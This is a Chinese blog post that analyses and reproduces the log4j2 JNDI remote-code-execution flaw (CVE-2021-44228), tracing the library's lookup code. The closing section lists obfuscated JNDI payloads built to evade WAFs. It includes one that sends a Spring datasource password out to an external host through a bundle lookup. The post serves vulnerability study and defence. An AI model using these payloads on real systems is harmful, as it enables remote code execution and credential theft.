log4j2 RCE分析与复现
p0melo

去年12月份爆出了log4j2 RCE的漏洞(CVE-2021-44228),该漏洞利用难度低,危害大,且影响范围广泛,这将有可能是载入安全史册的漏洞,作为史诗级漏洞的见证者,写个漏洞分析留个底还是有必要的😄

0x00 漏洞复现

复现比较简单,先引入log4j 版本2.14.1的包,我这里配的是lombok+sprint-boot-starter-log4j2starter 2.5.7依赖的是2.14.1版本的log4j

或者换做直接引log4j的包也是OK的。

通过JNDI注入利用工具在本地启动JNDI服务,根据项目JDK版本在log.error中插入对应payload即可触发

0x01 代码分析

日志记录

跟入error方法,在AbstractLogger类的logIfEnabled方法中进行一层判断,满足了配置的log等级才输出日志

1
2
3
4
5
public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message) {
if (this.isEnabled(level, marker, message)) {
this.logMessage(fqcn, level, marker, message);
}
}

跟到isEnabled方法下面看看是怎么判断,可以看到filter方法中302行会判断传入的level是否大于配置的level,日志输出等级从低到高是All < Trace < Debug < Info < Warn < Error < Fatal < OFF,程序会打印高于或等于所设置级别的日志,而默认配置为error等级,这也就是为什么默认配置下errorfatal可以触发,而debug/info/warn触发不了的原因。

我们也可以通过修改log4j2.xml配置来配置日志输出等级

接着从logMessage方法往下跟到AbstractOutputStreamAppender类的directEncodeEvent方法,89行跟入encode方法

1
2
3
4
5
6
7
protected void directEncodeEvent(final LogEvent event) {
// 跟入
this.getLayout().encode(event, this.manager);
if (this.immediateFlush || event.isEndOfBatch()) {
this.manager.flush();
}
}

PatternLayout类实现encode方法,接着关注toText方法

1
2
3
4
5
6
7
8
9
10
11
public void encode(final LogEvent event, final ByteBufferDestination destination) {
if (!(this.eventSerializer instanceof Serializer2)) {
super.encode(event, destination);
} else {
// 跟入toText方法
StringBuilder text = this.toText((Serializer2)this.eventSerializer, event, getStringBuilder());
Encoder<StringBuilder> encoder = this.getStringBuilderEncoder();
encoder.encode(text, destination);
trimToMaxSize(text);
}
}
1
2
3
private StringBuilder toText(final Serializer2 serializer, final LogEvent event, final StringBuilder destination) {
return serializer.toSerializable(event, destination);
}

消息格式化

跟入toSerializable方法,遍历类型为org.apache.logging.log4j.core.pattern.PatternFormatter类的formatters数组,调用其format方法,这里只需关注第8次循环的format方法,漏洞就是在这个format中触发

1
2
3
4
5
6
7
8
9
public void format(final LogEvent event, final StringBuilder buf) {
if (this.skipFormattingInfo) {
// 第8次循环的converter实现为MessagePatternConverter类,跟入
this.converter.format(event, buf);
} else {
this.formatWithInfo(event, buf);
}

}

再看看MessagePatternConverter中的format实现,在判断log内容包含${后,将evet带入的replace方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
boolean doRender = this.textRenderer != null;
StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
} else {
((StringBuilderFormattable)msg).formatTo(workingBuilder);
}

if (this.config != null && !this.noLookups) { // 2.14.1及一下版本的noLookups默认为false
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
// 判断log内容是否包含'${'
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
// 跟入replace方法
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
}
}
}

org.apache.logging.log4j.core.util.Constants类中可以看到noLookpus默认为false

1
public static final boolean FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS = PropertiesUtil.getProperties().getBooleanProperty("log4j2.formatMsgNoLookups", false);

字符替换

跟入org.apache.logging.log4j.core.lookup.StrSubstitutor类的replace方法,里面调用StrSubstitutor类的substitute方法

1
2
3
4
5
6
7
8
9
public String replace(final LogEvent event, final String source) {
if (source == null) {
return null;
} else {
StringBuilder buf = new StringBuilder(source);
// 跟入
return !this.substitute(event, buf, 0, source.length()) ? source : buf.toString();
}
}
1
2
3
protected boolean substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length) {
return this.substitute(event, buf, offset, length, (List)null) > 0;
}

接着看看StrSubstitutor类,定义了一些类型为org.apache.logging.log4j.core.lookup.StrMatcher的成员变量,如下

1
2
3
4
5
6
7
public static final char DEFAULT_ESCAPE = '$';
public static final StrMatcher DEFAULT_PREFIX = StrMatcher.stringMatcher("${");
public static final StrMatcher DEFAULT_SUFFIX = StrMatcher.stringMatcher("}");
public static final String DEFAULT_VALUE_DELIMITER_STRING = ":-";
public static final StrMatcher DEFAULT_VALUE_DELIMITER = StrMatcher.stringMatcher(":-");
public static final String ESCAPE_DELIMITER_STRING = ":\\-";
public static final StrMatcher DEFAULT_VALUE_ESCAPE_DELIMITER = StrMatcher.stringMatcher(":\\-");

可以理解StrMatcher类为log4j内置的字符匹配器,先看下该类的isMath方法,可以看到是指定一个char数组的起始位置和匹配长度去匹配另一个char数组,若完全匹配上则返回匹配上的长度,没匹配上返回0,该方法在接下来的substitute方法中会用到较多,所以这里提一下

接下来看StrSubstitutor类的substitute,该方法就是本次漏洞触发的关键方法

先while循环去匹配字符串中的前缀字符${

接着将前缀${后面的字符串通过while循环匹配后缀},在while循环中匹配后缀之前,会先判断剩下的字符串是否还存在前缀,每匹配一次前缀则nestedVarCount加一,当该变量不为0且匹配中一次后缀}会减一,通过该变量来匹配出最外层${}包裹的表达式,然后将匹配后的表达式继续往下递归,以满足嵌套的场景

接着判断是否包含:-:\-分割符,然后做一些分割处理(变形思路1),这里判断较多,就不挨个描述,简单概括为

  • :- 是一个分割符,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。
  • :\- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc

在没有匹配上分隔符或分割处理完后,会调用resolveVariable方法进行解析,将返回的结果替换回原字符串后,再次调用 substitute 方法进行递归解析

Lookup

resolveVariable方法会调用resolver解析器的lookup方法,可以看到这里resolver支持12种类型的lookup实现(变形思路2)

接着跟入lookup方法,来到了org.apache.logging.log4j.core.lookup.Interpolator拦截器,该拦截器通过不同前缀分配对应的lookup方法实现

继续跟进lookup可以看到,我们传入的是jndi前缀,所以会调用org.apache.logging.log4j.core.lookup.JndiLookuplookup方法,到这就触发漏洞了。

0x02 payload变形思路

增加:-干扰

上面说到当字符串种包含:-:\-会做一些处理,我们就可以该处理逻辑来变形绕过一些waf,例如${${p0melo:-j}ndi:ldap://127.0.0.1:1389/kk2err}

嵌套其他协议

上面分析中可以看到StrLookup除了支持jndi协议还支持其他协议{date, ctx, lower, upper, main, env, sys, sd, java, marker, jndi, jvmrunargs, event, bundle, map, log4j},所以我们可以通过其他协议变形payload

1
2
${${lower:j}ndi:ldap://127.0.0.1:1389/kk2err}
${${lower:j}${upper:n}di:${lower::::l}dap://127.0.0.1:1389/kk2err} // 可以嵌套多个

当然我们也可以组合上面两种思路,例如

1
2
${${lower:${p0melo:-j}}ndi:ldap://127.0.0.1:1389/kk2err}
${${p0melo:-${lower:J}}ndi:ldap://127.0.0.1:1389/kk2err}

Bundle外带

方法来自浅蓝师傅博客 ,还可以使用Bundle获取特殊变量值并外带,spring环境下可以尝试获取

1
${jndi:ldap://jndi.fuzz.red:5/ku8r/${bundle:application:spring.datasource.password}}
 Comments